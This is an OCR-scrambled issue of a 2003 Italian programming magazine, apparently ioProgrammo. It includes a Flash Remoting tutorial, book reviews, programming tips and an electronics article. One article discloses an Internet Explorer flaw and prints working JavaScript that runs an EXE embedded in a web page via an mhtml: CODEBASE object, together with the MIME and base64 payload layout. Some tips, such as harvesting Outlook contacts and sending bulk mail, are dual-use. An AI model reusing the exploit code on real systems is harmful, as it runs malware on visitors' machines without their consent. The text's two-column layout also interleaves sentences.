permette invece la connessione al Flash Remoting ser- moting in Coldfusion Mx. Per approfondire vi riman-
ver e permette di utilizzare il metodo getService per do al completo help all'interno della cartella dove è in-
Flash
consumare il servizio web (CFC): stallato il Flash: C:\Programmi\Macromedia\Flash MX
\Help\Flash\[Link].
[Link]("[Link] Cominciamo a dichiarare le funzioni che utilizzeremo
flashservices/gateway"); nel nostro movie:
gw = [Link]();
Flash Remoting corsiRMT = [Link]( elencaCorsi = function ()
istruzioni per l’uso "casario.prove_cf.[Link]", this); {
[Link]();
Da notare la riga che invoca il component: };
corsiRMT = [Link]( Questa è la prima funzione che verrà lanciata e che in-
"casario.prove_cf.[Link]", this); voca il metodo elencaCorsi del nostro CFC. Quando in-
dichiamo un component (CFC) Flash automatica-
mente crea una funzione di ritorno che ci permette di
gestire i dati ritornati dal CFC. Nel nostro caso il me-
todo del CFC è elencaCorsi() e di conseguenza la fun-
zione di risposta sarà elencaCorsi_Result(result); il pa-
rametro result contiene l'oggetto query ritornato dal
server:
function elencaCorsi_Result(result) {
Fig. 4: Il NetConnection Debugger in esecuzione. I dati che vengono restituti dall'oggetto query vengo-
no formattati utilizzando l'oggetto DataGlue che di-
RIA
Sta per Rich Inter- il primo parametro che prende la funzione [Link]- spone dei metodi:
net Application e ve_cf.[Link] rappresenta il nostro CFC Prova-
sancisce un nuovo ap- [Link] inserito nella cartella Casario\prove_cfc\Prova- [Link](dataConsumer,
proccio allo sviluppo di
[Link]. Perciò quando facciamo riferimento ad un dataProvider, formatFunction)
applicazioni per il web,
orientate ad aggiungere CFC dobbiamo includerlo con il suo riferimento asso- [Link](dataConsumer,
una più ricca e semplice luto rispetto alla cartella wwwroot. Prima di andare dataProvider, labelString, dataString)
interfaccia utente e a mi- avanti eseguiamo il filmato tenendo aperte le finestre
gliorare la "user expe-
rience" dei navigatori.
per il debug. Questa finestra viene incontro agli svi- Il nostro movie flash contiene come dataConsumer una
Sono finiti i tempi delle luppatori per tracciare i processi tra le comunicazioni comboBox con nome di istanza corsi_cb. Nella combo
applicazioni "thin" (ma- con il client Flash, il Flash Remoting e le applicazioni inseriremo tutti i corsi dei nomi riempiendo la pro-
gre,povere) per Macro- server. Per approfondire l'interfaccia della window e prietà label del flash component, e il campo ID della
media !
il suo utilizzo potete aprite il file di help nella cartella nostra tabella Corsi popolerà invece la proprietà data
del menù a tendina:
50 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 4-06-2003 17:32 Pagina 51
E E E E E E E E E E E E E T E O R I A E T E C N I C A
Flash
}
function calendario() {
[Link](corsi_cb.getSelectedItem().data); function elencoCalendario_Result(result) {
} [Link](calendario_lsb, result,
formatta);
La funzione risultante formatterà i dati ricevuti dal- function formatta ( record ) Flash Remoting
l'oggetto query inserendoli nella List Box e formattan- {
istruzioni per l’uso
doli con l'oggetto Dataglue. var spaziatore = " | "
var miaLabel = [Link]+spaziatore+
function elencoCalendario_Result(result) { [Link]
[Link](calendario_lsb, result, miaLabel += spaziatore+[Link]
formatta); return {label:miaLabel};
}
Utilizziamo il metodo bindFormatFunction che ci per-
mette di definire il data provider su cui indirizzare i }
dati ricevuti e di lanciare una funzione il cui compito [Link]();
è esclusivamente quello di formattare i contenuti.
La funzione formatta crea un delimitatore per rendere
più leggibili i dati ritornati dall’esecuzione della que-
ry e li inserisce nella variabile miaLabel che poi si fa ri- Sul web
tornare: Fig. 6: La finestra di Proprietà del componente. I primi esempi che sul
web hanno utilizzato
questa tecnologia sono
function formatta ( record )
raggiungibili ai seguenti
{ e il risultato finale del nostro movie. Costruire appli- indirizzi:
var spaziatore = " | " cazioni dinamiche facendo interagire Flash e linguag-
var miaLabel = [Link]+spaziatore+ gi server side come ASP, PHP piuttosto che Coldfu- Broadmoor Hotel
<[Link]
[Link] sion è una tecnica possibile e largamente utilizzata
tutorial/flmx_remoting/
miaLabel += spaziatore+[Link] già dalla versione 3 del programma. Utilizzando co- w w w. b r o a d m o o r. c o m >
return {label:miaLabel}; mandi come il loadVars o il loadMovie è possibile inter- [Link]
} cettare dati passati dal server direttamente nell’envi-
ETrade
} roment di Flash. Queste tecniche sono sicuramente
<[Link]
[Link](); più complesse e richiedono una conoscenza appro- tutorial/flmx_remoting/
fondita del linguaggio di programmazione Action- [Link]>
Il codice completo del componente si trova nel file script. Oggi con il Flash Remoting è diventato tutto [Link]
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 51
054-055 exploit 4-06-2003 14:43 Pagina 54
G l i E x p l o i t d e l l a p r o g r a m m a z i o n e G G G G G G G
Le insidie delle
pagine Web
Trasformare una pagina web in un file eseguibile è l’ultima diabolica
invenzione del trojan chiamato Sefex, che prende spunto da un exploit
apparso qualche tempo fa su Bugtraq. Dalla teoria…alla pratica!
C
he le pagine web fossero un potenziale MIME Header
pericolo per i navigatori lo si sapeva già Encoded .EXE file [base64]
File sul Web da tempo. Che gli script contenuti Self-Executing Javascript
[Link]/ioprog71
/[Link] all’interno del codice HTML potessero eseguire
operazioni non lecite, è un fatto ormai risaputo.
Quello che però finora non era mai stato consi- ORIGINI
derato, era la possibilità di inserire un file ese- DEL PROBLEMA
guibile direttamente all’interno delle pagine La falla di sicurezza scoperta questa volta ri-
web, trasformandole in un micidiale strumento guarda direttamente il browser di Microsoft,
di attacco per hackers e virus-writers. Ancora infatti, all’apertura della pagina “pericolosa” In-
una volta la sicurezza di Internet Explorer e di ternet Explorer esegue il parsing della pagina
Windows, a lungo promessa da Microsoft, sem- HTML, decodificando l’allegato di tipo MIME
bra solo una forma di pubblicità non immune da ed eseguendo il codice Javascript. Tale codice è
problemi concreti. Le ricerche condotte sull’ex- progettato ad hoc per puntare a ritroso al file
ploit presentato in questo articolo sono frutto del EXE contenuto nella pagina stessa, con un riferi-
lavoro di http-equiv@[Link], uno dei mem- mento di tipo mhtml:// che provoca un sostanzia-
bri più attivi del gruppo [Link], che da le bypass delle misure di sicurezza del browser:
anni indaga sulle falle e sui problemi di sicurez- in pratica l’eseguibile allegato nella pagina viene
za di Internet Explorer, Outlook Express, a trovarsi nel contesto di sicurezza del client di
Fig. 1: Seguendo il collegamento
[Link]
Netscape ed Eudora. Internet Explorer, guadagnando i privilegi di
d/6961/info/ si possono ottenere applicazione di sistema e il conseguente accesso
tutte le informazioni e i sistemi locale alle risorse. Questo errore è del tipo secu-
operativi vulnerabili al problema STRUTTURA DELLA rity context validation, poiché il browser, inter-
delle pagine HTML con eseguibili
descritto in questo articolo. PAGINA “MALEDETTA” pretando male il codice Javascript e il riferimen-
Il trucco consiste in una pagina web contenente to puntato, si “illude” di eseguire il file EXE in
un “ospite” di tipo eseguibile, che in termini tec- un contesto locale e di conseguenza lo ritiene
nici prende il nome di EXE Embedding. Si tratta sicuro. Il codice Javascript esplica, meglio di
di un’idea semplice quanto micidiale, a cui nes- ogni ulteriore parola, il funzionamento dell’ex-
suno aveva pensato…almeno fino ad ora! Per ploit:
prima cosa si codifica l’eseguibile che si vuol
inserire nella pagina usando l’estensione MIME <script>
e il formato base64, in questo modo un qualsiasi function runEXE()
file .EXE può essere rappresentato dal normale { //Self Executing HTML example
set di caratteri ASCII e non dal formato binario s=[Link];
puro. path=[Link](-0,[Link]("\\"));
Il passo successivo è quello di creare una pagina path=unescape(path);
HTML in cui si inserisce il file eseguibile codifi- [Link]('<object classid=
Fig. 2: Per codificare in formato
base64 un eseguibile, basta cato con estensione MIME e un particolare "clsid:66666666-6666-6666-6666"
allegarlo in un messaggio di posta Javascript capace realizzare l’exploit e di esegui- CODEBASE="mhtml:'+path+'\\[Link]!file:
con Outlook Express e inviarlo a re l’EXE direttamente dalla pagina web. For- ///[Link]"></object>');}
sé stessi. Esistono comunque altre
utility in grado di effettuare malmente, la struttura che deve avere una pagi- setTimeout("runEXE()",200)
questa operazione. na HTML di questo tipo è la seguente: </script>
54 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
054-055 exploit 5-06-2003 16:25 Pagina 55
E E E E E E E G l i E x p l o i t d e l l a p r o g r a m m a z i o n e
TVqQAAMAAAAEAAAA//...ecc. <script>
^^ function runEXE()
|| magic word costante di un file EXE { //Self Executing HTML example
Fig. 5: L’exploit in azione:
(codificata in base64) s=[Link];
esecuzione del programma
path=[Link](-0,[Link]("\\")); [Link] inserito a scopo
A questo punto bisogna creare un nuovo file path=unescape(path); dimostrativo all’interno di una
pagina web.
(usando un qualsiasi editor di testo) in cui si s2='66666666-6666-6666-6666" ';
inserisce in testa l’header MIME, seguito imme- s4='![Link]
diatamente dopo dal file EXE codificato estratto s3='CODEBASE="mhtml:'+path+'\\[Link]';
da Outlook Express come abbiamo illustrato s1='<object classid="clsid:';
prima. [Link](s1+s2+s3+s4);}
setTimeout("runEXE()",200)
MIME-Version: 1.0 </script>
Content-Location:[Link]
Content-Transfer-Encoding: base64 Al momento Microsoft non ha rilasciato alcuna
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA dichiarazione in merito al problema, né esiste Fig. 6: Norton Antivirus rileva
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA una patch ufficiale in grado di correggere il bug. questo tipo di insidia e la segnala
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm Non resta che affidarci agli antivirus… e alla come [Link]. Chissà perché
Microsoft non ha ritenuto “degno
9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v buona sorte! di patch” questo tipo di
ZGUuDQ0KJAAAAAAAAACzZnDE9wcel/cHHpf3Bx6 Elia Florio problema…
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 55
056 biblioteca 31-05-2003 10:11 Pagina 56
B i b l i o t e c a G G G G G G G G G G G G G G G G G
Biblioteca
ON LINE .NET Game Programming With DirectX 9.0
Quanti di voi si sono cimentati nella realizzazione di un videogame? Se la
vostra passione è quella di realizzare applicazioni videoludiche, magari
Perfect XML
Un sito Web pensato sfruttando tutte le potenzialità offerte dal connubio DirectX [Link], questo
esclusivamente come utile testo allora rappresenta lo strumento ideale.
supporto alla comprensio- Gli autori, Lobao e Hatton, hanno realizzato un bel testo che, passo dopo
ne del linguaggio XML e
dei suoi derivati.
passo, attraverso esempi pratici, guidano il lettore alla comprensione dei
Una grande raccolta di te- meccanismi e delle tecniche che portano a sviluppare videogame, dai
sti, articoli, tip e molto al- classici sparatutto ai giochi di ruolo, allo stile adventure. Una pratica guida
tro per il linguaggio rivo- che mostra, con la realizzazione di progetti reali, l'uso delle Microsoft
luzione del Web.
Direct 9 nella nuova piattaforma .NET: Direct3D, DirectSound, DirectMusic
DirectInput , DirectShow e DirectPlay. In aggiunta sono presenti dei
capitoli dedicati che mostrano come interagire con le Speech API di
Microsoft e come migrare il proprio videogame su piattaforma Pocket PC.
Difficoltà: Medio – Alta • Autore: A. Santos Lobao, E. Hatton • Editore: Apress
[Link] • ISBN: 1-59059-051-1 • Anno di pubblicazione: 2003
Lingua: Inglese • Pagine: 654 • Prezzo: $ 49.99 • Contiene 1 Cd-Rom
[Link]
Questo testo non può non essere presente tra i testi di giornaliera
Borland su .NET consultazione per chi si accinge a lavorare nell'ambito delle reti o per chi si
Borland ha creato un sito
ritiene già esperto in materia. Il TCP/IP e' semplice da applicare ma al
Web espressamente dedi-
cato alle attuali soluzioni contempo articolato e ricco di funzionalità e questo ne fa il protocollo più
della software house per versatile e usato nell'ambito delle tecnologie di rete. Il volume si rivela un
l'infrastruttura .NET. utile strumento per chi voglia approfondire la conoscenza del protocollo e
Secondo quanto dichiara-
dei suoi impieghi: come funziona il protocollo, le potenzialità, la gestione, le
to dalla società, su get-
[Link] (Get Set for .NET) applicazioni pratiche sono le linee guida su cui si innesta la struttura del
saranno riportate tutte le testo, mentre le configurazioni passo passo e il codice di esempio rinforzano
fasi di lavoro dell'applica- i concetti espressi. Tra gli argomenti esposti:
tion lifecycle: definizione,
design, sviluppo, test e
implementazione. • TCP/IP e Internet
• I componenti della famiglia TCP/IP
• ARP, RARP, DNS, NetBIOS, WINS
• IPv6
• La sicurezza in Rete
• Configurazone di ambienti Linux, Unix e Windows
• Tip per laconfigurazione e la risoluzione di problemi
Difficoltà: Alta • Autore: [Link] - [Link] • Editore: Apogeo [Link]
[Link] ISBN: 88-503-2044-2 • Anno di pubblicazione: 2003 • Lingua: Italiano • Pagine: 862
Prezzo: € 52,00
56 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
057-062 tips 31-05-2003 10:11 Pagina 57
E E E E E E E E E E E E E E T I P S & T R I C K S
Tips&Tricks
La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto dell’esperienza di
I trucchi
del mestiere
chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca sulla Rete delle Reti, altri ancora ci
giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta scelti, verranno pubblicati nella
rubrica. Il codice completo dei tips lo trovate nel CD allegato nella directory \tips\.
Un tip che permette di costruire la barra dei menu di una Form Procedure TForm1.Button1Click(Sender: TObject);
leggendo le informazioni da un file XML. Il tip si compone es- Const
senzialmente di una classe e di una interfaccia. La classe Menu- QUERY = 'Select * From Win32_Process';
Builder legge il file XML e crea la struttura del menu, mentre l'in- COMPUTER = 'SERVER-AT12K';
terfaccia IActionMenu prevede un metodo Performed che è Var
l'handler dell'evento click di una voce di menu. Il documento Services : SWbemServices;
XML prevede un elemento radice MAINMENU che può avere ObjectSet : ISWbemObjectSet;
uno o più figli MENUITEM che possono a loro volta avere figli Enum : IEnumVariant;
MENUITEM. Per ogni MENUITEM posso specificare l'etichetta tempObj : OleVariant;
(con LABEL) e la classe che deve gestire l'evento click (con AC- SObject : ISWbemObject;
TION). L’esempio che potrete trovare nel Cd-Rom allegato si Value : Cardinal;
compone di tre classi (OpenAction, NewAction, ExitAction) che Begin
implementano l'interfaccia e si limitano a visualizzare una Mes- Services := [Link](COMPUTER, 'root\cimv2', '',
sageBox (è incluso un file XML con la definizione di un menu). '', '', '', 0, nil);
La classe MenuBuilder comunque può essere personalizzata (e lo ObjectSet := [Link](QUERY, 'WQL',
stesso vale per lo schema del file XML) per supportare altre fun- wbemFlagReturnImmediately, nil);
zionalità, come lo stato di abilitazione e la gestione di altri even- Enum := (ObjectSet._NewEnum) As IEnumVariant;
ti. Trovate il progetto completo nella directory /tips del CD-Rom While ([Link](1, TempObj, Value) = S_OK) Do
allegato o digitando l’url: [Link]/ioprog71/tips Begin
Tip fornito dal sig. Boscolo Alberto Gnolo SObject := IUnknown(TempObj) As SWBemObject;
[Link](SObject.GetObjectText_(0))
File troppo “ingombranti” End;
Il tip mostra come eseguire lo Split di un file, cioè la divisione End;
dei dati in esso contenuti, in più file di dimensioni nettamente
inferiori, e l'UnSplit cioè il processo inverso attraverso il quale si Come personalizzare i componenti
ricrea il file originale. Può essere utile splittare un file quando, Delphi senza scriverne di nuovi
ad esempio, questo occupi troppo spazio per poter essere co- Esiste la possibilità di personalizzare i componenti senza do-
piato su un Floppy Disk. verne scriverne di nuovi. Basta definire due nuovi tipi all'inter-
Lo si potrebbe splittare in tanti file di 1457664 byte (1 Floppy no della unit, uno definisce un alias al tipo del componente che
1.44 Mb) copiandoli ognuno su altrettanti dischetti, trasportarli vogliamo personalizzare, l'atro è una classe che si chiama come
su un qualsiasi altro sistema ed, eseguendo l'UnSplit, recupera- il componente ed eredita dall'alias specificato. In questo modo
re il file originale. Trovate il progetto completo nella directory alla nuova classe possiamo aggiungere metodi e proprietà che
/tips del Cd-Rom allegato o digitando l’url: [Link]/io- verranno utilizzati all'interno del codice e saranno disponibili
prog71/tips (non in design mode), per ogni componente di quel tipo.
Tip fornito dal Sig. [Link] Tip fornito dal sig. [Link]
type
G D e l p h i G G G G G G G G G G G G G G G TMyEdit = TEdit;
TEdit = class(TMyEdit)
Controllare i processi private
di un PC remoto function lfFloat : real;
procedure lpFloat(lrValue : real);
Un tip che consente di ottenere la lista dettagliata dei processi public
attivi su un PC remoto. Il nome del computer è specificato dal- property AsFloat : real read lfFloat write lpFloat;
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 57
057-062 tips 31-05-2003 10:12 Pagina 58
T I P S & T R I C K S G G G G G G G G G G G G G G
58 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
057-062 tips 31-05-2003 10:12 Pagina 59
E E E E E E E E E E E E E E T I P S & T R I C K S
La risposta a questo quesito è quello di utilizzare "un'altra" Run- chiamata allo script in cascata suddividendo la parola chiave
[Link]; quella che prende come parametro un vettore di strin- stessa come mostrato nel tip.
ghe. Ad essa bisogna passare la linea di comando già suddivisa Tip fornito dal Sig. [Link]
in token.
Tip fornito dal sig. Addisu Matusala <script language="javascript">
[Link]("<sc"+"ript LANGUAGE=\"JavaScript\"
String [] comando={"cat","nome [Link]"}; SRC=\"...\"></sc"+"ript>");
[Link]().Exec(comado); </script>
i: Integer;
IL TIP-ONE del mese begin
outlook := CreateOleObject('[Link]');
Reperire la lista dei contatti NameSpace := [Link]('MAPI');
di MS OutLook
Il tip, in linguaggio Delphi, consente di reperire la Contatti := [Link](Cartella_Contatti);
lista di tutti i contatti presenti nella medesima cartella del for i := 1 to [Link] do
client di posta elettronica Microsoft Outlook. Per ogni con- begin
tatto è possibile reperire diverse informazioni, dalla data Contatto := [Link](i);
di nascita, al NickName, alla professione esercitata. ShowMessage([Link] + ' <' +
Tip fornito dal Sig. [Link]. Contatto.Email1Address + '>');
end;
Uses comOBJ;
Outlook := UnAssigned;
procedure Contatti_OutLook; end;
const
Cartella_Contatti = $0000000A; Per reperire una particolare voce del contatto invocare una
var delle proprietà definite in tabella, utilizzando la forma
outlook, NameSpace, Contatti, Contatto: OleVariant; [Link]à.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 59
057-062 tips 31-05-2003 10:12 Pagina 59
E E E E E E E E E E E E E E T I P S & T R I C K S
La risposta a questo quesito è quello di utilizzare "un'altra" Run- chiamata allo script in cascata suddividendo la parola chiave
[Link]; quella che prende come parametro un vettore di strin- stessa come mostrato nel tip.
ghe. Ad essa bisogna passare la linea di comando già suddivisa Tip fornito dal Sig. [Link]
in token.
Tip fornito dal sig. Addisu Matusala <script language="javascript">
[Link]("<sc"+"ript LANGUAGE=\"JavaScript\"
String [] comando={"cat","nome [Link]"}; SRC=\"...\"></sc"+"ript>");
[Link]().Exec(comado); </script>
i: Integer;
IL TIP-ONE del mese begin
outlook := CreateOleObject('[Link]');
Reperire la lista dei contatti NameSpace := [Link]('MAPI');
di MS OutLook
Il tip, in linguaggio Delphi, consente di reperire la Contatti := [Link](Cartella_Contatti);
lista di tutti i contatti presenti nella medesima cartella del for i := 1 to [Link] do
client di posta elettronica Microsoft Outlook. Per ogni con- begin
tatto è possibile reperire diverse informazioni, dalla data Contatto := [Link](i);
di nascita, al NickName, alla professione esercitata. ShowMessage([Link] + ' <' +
Tip fornito dal Sig. [Link]. Contatto.Email1Address + '>');
end;
Uses comOBJ;
Outlook := UnAssigned;
procedure Contatti_OutLook; end;
const
Cartella_Contatti = $0000000A; Per reperire una particolare voce del contatto invocare una
var delle proprietà definite in tabella, utilizzando la forma
outlook, NameSpace, Contatti, Contatto: OleVariant; [Link]à.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 59
057-062 tips 31-05-2003 10:12 Pagina 60
T I P S & T R I C K S G G G G G G G G G G G G G G
no RMI; per meglio comprendere il problema si consideri un stra applicazione fosse stata del tipo:
metodo di un’interfaccia come il seguente “cambiaAttributo
(MioOggetto mioOggetto). …
Tip fornito dal Sig. [Link] public void cambiaAttributo(MioOggetto mioOggetto)
{ [Link](“Pippo”); }
import [Link].*; …
public interface Libreria extends Remote
{ al termine dell’esecuzione del programma Cliente l’istruzione
public void cambiaAttributo(MioOggetto mioOggetto) throws System evidenziata avrebbe stampato:
RemoteException;
…… Nome : Marco
}
…… // fine classe Per ovviare quindi a questo tipo di problemi, una soluzione è
import [Link]; far si che il metodo dell’interfaccia dell’oggetto remoto che si in-
public class MioOggetto implements Serializable tende utilizzare restituisca un’istanza dell’oggetto che si inten-
{ deva passare per riferimento (e di cui quindi si voleva modifi-
public String nome; care il valore):
public MioOggetto(String nome)
{[Link] = nome; } public interface Libreria extends Remote
public void setNome(String nome) {
{ [Link] = nome; } public MioOggetto cambiaAttributo(MioOggetto mioOggetto)
public String getNome() throws RemoteException;
{return [Link]; } ……
} }
…… // fine classe
Ecco anche come modificare il programma Cliente:
Se una classe Cliente come la seguente:
import [Link].*;
import [Link].*; public class Cliente
public class Cliente {
{ public static void main(String args[])
public static void main(String args[]) {
{ ......
...... try
try {
{ MioOggetto mioOggetto = new MioOggetto(“Marco”);
MioOggetto mioOggetto = new MioOggetto(“Marco”); Libreria libreria = (Libreria) [Link](
Libreria libreria = (Libreria) "rmi://[Link]:1099/istanzalibreria”);
[Link]("rmi://[Link]:1099/istanzalibreria”); mioOggetto = [Link](mioOggetto);
// Si suppone un oggetto servente abbia memorizzato nel [Link](“Nome : “ + [Link]());
RMIRegistry un istanza di Libreria con il nome indicato. } // end try
[Link](mioOggetto); catch(Exception e)
[Link](“Nome : “ + [Link]()); {
} // end try }
catch(Exception e) }
{} }
}
} Ed ecco infine come è modificata l’implementazione del meto-
do “cambiaAttributo(MioOggetto)”:
intende utilizzare una classe che implementa l’interfaccia “Li-
breria” e il relativo metodo “cambiaAttributo (MioOggetto mio- …
Oggetto)” desiderando che vengano apportate delle modifiche public MioOggetto cambiaAttributo(MioOggetto mioOggetto)
all’istanza dell’oggetto di tipo MioOggetto passato al metodo, {
occorre sapere che la comunicazione tramite RMI fa si che l’og- [Link](“Pippo”);
getto servente effettui una copia in locale dell’oggetto ricevuto return mioOggetto;
come parametro del metodo e, che ogni modifica effettuata su }
quell’oggetto, ha effetto esclusivamente su quella copia e non …
sull’istanza di mioOggetto nella classe Cliente. Nel caso in esem-
pio se l’implementazione di cambiaAttributo utilizzata dalla no- L’esecuzione del programma Cliente modificato stamperà il se-
60 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
057-062 tips 31-05-2003 10:13 Pagina 61
E E E E E E E E E E E E E E T I P S & T R I C K S
Else
[Link] strEmail & " NON è un indirizzo email sintatticamente corretto"
Come personalizzare WinAMP
End If
%>
Un tip di fondamentale importanza per tutte quelle persone che
Email a Go Go voglioni realizzare 'in casa' alcune versioni modificate del
Il tip proposto consente di spedire molto velocemente email; la player mp3 più noto di tutti i tempi, oppure per chiunque in-
parte di codice allegata funziona sia rinominato in .vbs che in tenda aggiungere un supporto esteso di playing mp3 nelle sue
moduli di access, macro di excel, pagine ASP. Perchè l'esempio realizzazioni.
funzioni, occorre modificare l'indirizzo del server web e gli in- Tip fornito dal sig. [Link]
dirizzi di destinazione. Nell'esempio, viene spedita via mail una
pagina web, comprensiva di immagini, hyperlink ecc. E' molto La prima cosa da fare è identificare la finestra di winamp (esten-
veloce, consente di cambiare destinatario e spedire la stessa dendo la soluzione si potrebbe anche utilizzare una API di win-
mail senza riconfigurare nulla. Il tip funziona in qualsiasi am- dows per lanciare winamp dallo stesso programma ); l'identifi-
biente di scripting microsoft (vbs, asp, vba, vb). Ideale per mai- cazione avviene semplicemente nel seguente modo:
ling list. Con un server smtp locale, con un PIII a 800 mhz si pos-
sono passare le 10 mail al secondo. HWND winamp;
Tip fornito dal sig. [Link] winamp = FindWindow("Winamp v1.x",NULL);
'Definizioni per CDO a questo punto i comandi eseguibili sono tantissimi, di seguito
dim cdoSendUsingMethod, cdoSendUsingPort,cdoSMTPServer, sono elencati solo i più utili; i comandi vengono inviati a wi-
cdoSMTPServerPort,cdoSMTPAuthenticate,cdoAnonymous, namp tramite l'API SendMessage:
cdoSuppressNone
cdoSendUsingMethod = "[Link] SendMessage(winamp, WM_COMMAND,40045,0);
/configuration/sendusing"
cdoSendUsingPort = 2 Simula la pressione del tasto "play" di winamp, eseguendo il
cdoSMTPServer = "[Link] primo brano della playlist:
/configuration/smtpserver"
cdoSMTPServerPort = "[Link] SendMessage(winamp,WM_WA_IPC,playlistpos,121);
/configuration/smtpserverport" Winamp esegue il brano alla posizione specificata dalla
cdoSMTPAuthenticate = "[Link] variabile 'playlistpos'
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 61
057-062 tips 31-05-2003 10:13 Pagina 62
T I P S & T R I C K S G G G G G G G G G G G G G G
Ed ecco un utilissimo comando che permette di aggiungere un //"EWX_SHUTDOWN" termina i processi e mette il computer in
file alla playlist di winamp: attesa di power off
}
COPYDATASTRUCT cds; void __fastcall TForm1::ShutDown(TObject *Sender)
[Link] = 100; {
[Link] = (void *) "file.mp3"; HANDLE hToken;
[Link] = strlen((char *) [Link])+1; // include space for null char TOKEN_PRIVILEGES tkp;
SendMessage(winamp,WM_COPYDATA,(WPARAM)NULL,(LPARAM)&cds) if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
Esistono tantissimi altri comandi per richamare praticamente error("OpenProcessToken");
tutte le funzionalià di winamp, utilissimo a questo fine è il file LookupPrivilegeValue(NULL,
frontend.h che si trova direttamente sul sito di winamp e che è al- SE_SHUTDOWN_NAME,&[Link][0].Luid);
legato al supporto CD-Rom della rivista [Link] = 1;
[Link][0].Attributes = SE_PRIVILEGE_ENABLED;
La serializzazione XML con C# AdjustTokenPrivileges(hToken, FALSE, &tkp,
.NET mette a disposizione due metodi, Serialize e Deserialize, che 0,(PTOKEN_PRIVILEGES)NULL, 0);
permettono di leggere e scrivere XML in modo trasparente. Gra- if (GetLastError() != ERROR_SUCCESS)
zie, infatti, alla programmazione per attributi, è possibile iden- error("AdjustTokenPrivileges");
tificare ciascun membro di una classe, con un elemento dello if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0))
schema XML. error(ExitWindowsEx); //o un'altra procedura di gestione errori
All'atto della serializzazione della classe, genererà un file XML //"EWX_LOGOFF" termina i processi e fa il Logoff
che segue lo schema pre-definito con i valori dei vari attributi, //"EWX_POWEROFF" termina i processi e spegne il computer
pari ai valori delle variabili membro delle classi. La lettura di un //"EWX_REBOOT" riavvia
file XML avviene con il metodo Deserialize che non fa altro che //"EWX_SHUTDOWN" termina i processi e mette il computer in
assegnare ad ogni variabile membro della classe, il valore corri- attesa di power off
spondente del tag xml. Trovate il progetto completo nella direc- }
tory /tips del CD-Rom allegato o digitando l’url: [Link]-
[Link]/ioprog71/tips
Tip fornito dal Sig. [Link]
62 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
063-066 Elettronica 5-06-2003 16:27 Pagina 63
E E E E E E E E E E E E E E E E E E E E E E l e t t r o n i c a
Un telecomando
per pilotare il PC Elettronica
B
asta guardarsi intorno per accorgersi di riale” e “parallela” o ai gamepad che si collegano
quanto la tecnologia condizioni la nostra vi- alla porta joystick.
ta, siamo circondati di ogni genere di appa- La tendenza dell’industria informatica e tecnolo-
recchiatura elettronica dalle più disparate funzio- gica in genere è, tuttavia, quella di unificare l’in-
ni. Esattamente come avviene per i PC, le appa- terfacciamento dei dispositivi attraverso un’unica
recchiature elettroniche più evolute contengono porta “universale” dalle caratteristiche standar-
microprocessori, memorie, comandi e/o sensori e dizzate, a tal proposito da qualche anno si adotta
necessitano di un programma che permette loro di il collegamento tramite porta USB, che significa
funzionare. Si tratta di programmi non troppo lon- proprio Universal Serial Bus. Ecco così che stam-
tani da quelli che siamo abituati a pensare sui no- panti, modem, joystick, web cam, mouse, tastiere
stri computer, che lavorano direttamente con com- ed ogni sorta di dispositivo da interfacciare al PC
ponenti elettronici senza usufruire di tutte le age- fa la sua comparsa in versione USB.
volazioni e virtualizzazzioni che i sistemi operati-
vi offrono. Proprio per la presenza di tutte le ca-
ratteristiche descritte prima e delle porte di in- SCOPRIAMO LA PORTA Non solo
put/output un computer è, per eccellenza, un PARALLELA stampanti
Un tempo non era
“macrocontrollore” ideale per pilotare qualunque Sin dai primi modelli era presente su ogni PC una raro trovare una
dispositivo elettronico e, in più, offre la possibilità porta parallela, originariamente pensata per il col- porta parallela montata
di scrivere un programma pilota in un qualsiasi legamento con una stampante (è, infatti, detta an- sulle schede grafiche;
ad esempio su antichis-
linguaggio di alto livello, pur vincolando il dispo- che porta LPT, da “Line Printer”), fornisce una fa-
sime schede monocro-
sitivo al computer stesso. cile e funzionale interfaccia tra il PC e il mondo matiche, come la MDA
In questo articolo ci occuperemo in dettaglio della esterno e viceversa. Per questo motivo, con l’ag- (Monocrome Display
porta parallela focalizzando l’attenzione sul suo giunta di una semplice interfaccia circuitale può Adapter) o la più famo-
sa HGC (Hercules Gra-
utilizzo “manuale”, ovvero la scrittura/lettura di- essere utilizzata per controllare qualunque perife-
phics Card).
retta sui suoi registri. Una volta acquisita la pa- rica: sensori per misurazioni di grandezze fisiche, Alle porte di questo tipo
dronanza nel controllo di questa porta ci dediche- controllori per parti meccaniche, allarmi, luci psi- è associato l’indirizzo
remo alla discussione delle problematiche di inter- chedeliche, etc.. 03BCh, indirizzo che
oggi non è praticamen-
facciamento di una semplice periferica in grado di La porta parallela si presenta all’esterno con un te più utilizzato.
ricevere i raggi infrarossi di un qualunque teleco- connettore femmina a 25 fori (più grande rispetto
mando per televisore. Vedremo rapidamente come a quello seriale che è solitamente maschio a 9 pin
